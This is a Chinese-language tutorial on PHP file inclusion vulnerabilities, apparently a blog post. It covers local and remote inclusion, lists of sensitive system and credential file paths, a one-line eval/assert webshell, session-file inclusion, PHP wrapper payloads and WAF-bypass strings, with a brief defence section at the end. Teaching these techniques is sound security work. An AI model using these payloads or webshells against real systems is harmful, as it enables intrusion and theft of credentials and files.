PHP文件包含相关

文件包含

开发人员一般都把重复使用的函数放在单个文件中,需要使用的时候再调用,这调用的过程一般称为文件包含

PHP的文件包含函数

1
2
3
include()、include_once()

require()、require_once()

Include()生成warning,错误后继续执行

require()生成error,错误后不继续执行

_once就是当已经文件包含后就不再包含同文件

 

举个例子

所有实验要在php.ini中设置

allow_url_fopen=On(是否允许打开远程文件)

allow_url_include=On(是否允许include/require远程文件)

设置display_error=Off(关闭警告提示)

img

img

此时,我们访问的当前目录下的文件,如果不限制参数,我们可以读取其他其他路径下的文件,这里有个绝对路径和相对路径的概念

img

绝对路径:绝对路径是指文件在硬盘上真正存在的路径 例如

/var/www/html/test/a.php

相对路径:就是相对于自己的目标文件位置 如 ./a.php,只要两个文件相对的路径不变,那么实际就是对的

他们的效果是一样的

img

img

 

文件包含漏洞原理

开发人员都希望代码灵活,所以通常会将包含文件设置为变量,如果这些变量没经过严格过滤或定义,可以被用户控制,包含了恶意文件或敏感路径,这就造成了文件包含漏洞

文件包含漏洞利用的前提条件: (1)web 应用采用include等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入; (2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;

 

无限制本地包含漏洞

通过目录遍历漏洞可以获取到系统中其他文件的内容:

img

img

 

有限制本地文件包含

img

1
2
3
4
5
%00截断:条件:magic_quotes_gpc = Off,php版本<5.3.4

路径长度截断:条件:windows系统,点号需要长于256;linux系统长于4096

点号截断:条件:windows系统,点号需要长于256

 

常见的利用目录

Windows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
C:\boot.ini		//查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml 	//IIS 配置文件

C:\windows\repair\sam 	//存储 windows 系统初次安装的密码

C:\Program Files\mysql\my.ini 	//mysql 配置

C:\Program Files\mysql\data\mysql\user.MYD 	//Mysql root

C:\windows\php.ini 	//php 配置信息

C:\windows\my.ini 	//mysql 配置文件

Linux:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/etc/passwd		//Linux所有用户信息

/usr/local/app/apache2/conf/httpd.conf 	//apache2 默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP 相关配置

/etc/httpd/conf/httpd.conf 	//apache

/etc/php5/apache2/php.ini 	//ubuntu 系统的默认路径

日志默认路径

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
apache+Linux 日志默认路径

    /etc/httpd/logs/access_log

    /var/log/httpd/access_log

apache+win2003 日志默认路径

     D:\xampp\apache\logs\access.log

     D:\xampp\apache\logs\error.log

IIS6.0+win2003 默认日志文件

     C:\WINDOWS\system32\Logfiles

IIS7.0+win2003 默认日志文件

     %SystemDrive%\inetpub\logs\LogFiles  

nginx 日志文件

     日志文件在用户安装目录 logs 目录下

web 中间件默认配置

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
apache+linux 默认配置文件

    /etc/httpd/conf/httpd.conf

    index.php?page=/etc/init.d/httpd

IIS6.0+win2003 配置文件

    C:/Windows/system32/inetsrv/metabase.xml

IIS7.0+WIN 配置文件

    C:\Windows\System32\inetsrv\config\applicationHost.config

 

远程文件包含

我们可以利用PHP的文件包含这个特性去访问另一台服务器文件

PHP的配置文件allow_url_fopenallow_url_include设置为ON

include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

img

 

有限制远程文件包含

img

?绕过

img

#绕过 %23

img

空格绕过 %3f

img

 

文件包含+文件改写+GETSHELL

设置一个极端的场景用户可以通过修改参数来更新自己的信息保存在另一个文件里(这种场景谁敢这么写怕不是没吃过毒打……)

img

img

发现成功执行了phpinfo()这个函数,这样,我们可以修改相对应的文件进行getshell,接下来就简单介绍一下利用代码执行函数和命令执行函数来getshell

上传文件包含获取 webshell 的条件:

(1)攻击者需要知道文件存放的物理路径; (2)对上传文件所在目录拥有可执行权限; (3)存在文件包含漏洞;

一句话木马的原理是调用了PHP的代码执行函数,常见的一句话菜刀马,就是调用了eval函数、assert函数。

1
2
3
<?php @eval($_POST['cmd']);?>  //菜刀密码为cmd

<?php @assert($_POST['cmd'])?> 

img

 

session文件包含

大致了解了文件改写和一句话木马,现在讲一下文件包含中稍微有点难的session文件包含漏洞,其实上边文件改写就是session包含的一个翻版

利用条件:

(1)session的存储位置可以获取

(2)通过phpinfo获取到session存储位置

img

通过猜测默认的session存放位置进行尝试。如linux下默认存储在/var/lib/php/session目录下

Session.php中的内容可以被控制,传入恶意代码。

img

此php会将获取到的GETsession变量的值存入到session中。

当访问http://192.168.43.167/session.php?session=aaaa后,会在/var/lib/php/session目录下存储session的值。session的文件名为sess_+sessionidsessionid可以通过开发者模式获取img

img

所以文件是sess_v49q30h3c0jcornf4j8osule26

回到服务器查看

img

发现成功写入,接下来利用和上边一样的方法来执行恶意代码

 

PHP伪协议

php://input(写木马)

php://input是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用php://input来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的php.ini指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA默认没有填充, 比激活always_populate_raw_post_data潜在需要更少的内存。enctype=”multipart/form-data”的时候php://input是无效的。  ——php.net

 

简单说就是获取post数据。

img

img

还可以将文件包含变成命令执行

img

 

php://filter (读文件)

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。    ——php.net

 

简单说经常利用它进行base64编码,在CTF中,经常出现,我们利用

1
php://filter/read=convert.base64-encode/resource=xxx  //xxx是文件名

img

使用base64解码

img

img

 

zip://,bzip2://,zlib://(上传)

zlib://的功能类似gzopen(),但是 其数据流还能被fread()和其他文件系统函数使用。 自PHP 4.3.0后这个不建议被使用,因为会和其他带“:”字符的文件名混淆;请使用compress.zlib://作为替代。compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie的系统中使用。ZIP扩展注册了zip://封装器。 自PHP7.2.0和libzip1.2.0+起,加密归档开始支持密码,允许数据流中使用密码。 字节流上下文(stream contexts)中使用 ‘password’ 选项设置密码。  ——php.net

 

简单说就是直接访问压缩包里的文件。将phpinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。

img

 

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行

经过测试PHP版本5.2,5.3,5.5,7.0;data://协议是是受限于allow_url_fopen

img

 

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

用法:?file=phar://压缩包/内部文件phar://xxx.png/shell.php

步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

注意:PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。   

 

这个可以参考初识phar反序列化

伪协议在CTF中的骚操作

img

不过一般现在这种文件包含漏洞和伪协议在CTF中都配合源码审计反序列化,文件上传绕过一起考,反序列化这里可以参考最通俗易懂的PHP反序列化原理分析

PHP反序列化漏洞总结:PHP反序列化漏洞总结(一)PHP反序列化漏洞总结(二)

 

文件包含+PHP伪协议利用绕过WAF

1
2
3
4
5
6
7
?f=php://filter/convert.base64-encode/resource=login.php(过滤了操作名read)

?f=php://filter/read=convert.base64-encode/resource=1.jpg/resource=./show.php(正则 /resource=*.jpg/i)

?f=data:text/plain,<?php phpinfo()?>

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

文件包含漏洞防御

在功能设计上尽量不要将文件包含函数对应的文件放在前端进行选择和操作

黑名单过滤

1
../		http://		https://等敏感关键字

白名单过滤

1
关闭php.ini的allow_url_fopen和allow_url_include